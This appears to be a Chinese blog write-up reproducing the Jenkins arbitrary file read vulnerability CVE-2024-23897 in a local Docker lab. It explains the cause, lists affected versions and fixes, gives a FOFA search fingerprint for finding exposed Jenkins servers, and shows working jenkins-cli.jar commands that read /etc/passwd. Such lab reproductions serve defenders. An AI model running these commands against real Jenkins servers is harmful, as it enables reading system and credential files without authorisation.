Jenkins 任意文件读取漏洞复现CVE-2024-23897

一、漏洞概况

Jenkins是什么?

Jenkins是一个基于Java开发的、可扩展的持续集成引擎
用于持续、自动地构建/测试软件项目,可以监控一些定时执行的任务
https://www.jenkins.io/zh/

Jenkins使用情况

fofa指纹:app=”jenkins”

二、漏洞分析

受影响的版本

Jenkins 版本<= 2.441
Jenkins 版本<= LTS 2.426.2

漏洞利用条件

Jenkins启用了Allow anonymous read access 选项(读取完整文件)

jenkins-cli.jar是什么?

 Jenkins提供了一个命令行的接口,jenkins-cli.jar是它的命令行客户端,通过jenkins-cli.jar可以去执行一些Jenkins中的功能。

漏洞原理

用户使用jenkins-cli.jar执行Jenkins中的功能时,命令行参数会被传递到服务端解析
而Jenkins服务端解析命令行的时候使用了一个第三方库args4j,这个库实现了一个功能,如果一个参数是以@开头,则会被认为是一个文件名,文件内容会被读取作为参数
当Jenkins发现参数不对时,就会将错误信息返回给客户端,错误信息中包括参数内容

三、漏洞复现

环境说明

Kali + Docker
docker安装:https://wiki.bafangwy.com/doc/642
拉取镜像失败解决方法:https://wiki.bafangwy.com/doc/693

Docker靶场启动与配置

靶场启动

docker run -e "JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n" -d -p 8081:8080 bitnami/jenkins:2.426.2-debian-11-r3
Allow anonymous read access 选项配置
http://127.0.0.1:8081/manage/configureSecurity/

登录用户名:user
登录密码:bitnami

PoC

获取Jenkins CLI工具
wget http://localhost:8081/jnlpJars/jenkins-cli.jar
触发漏洞,读取文件部分内容
java -jar jenkins-cli.jar -s http://127.0.0.1:8081 -http help 1 "@/etc/passwd"
触发漏洞,读取完整文件(需配置Allow anonymous read access 选项)
java -jar jenkins-cli.jar -s http://127.0.0.1:8081 -http reload-job "@/etc/passwd"

四、漏洞修复方法

更新到最新版本
禁用Allow
anonymous read access 选项
© 版权声明
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片快捷回复

    暂无评论内容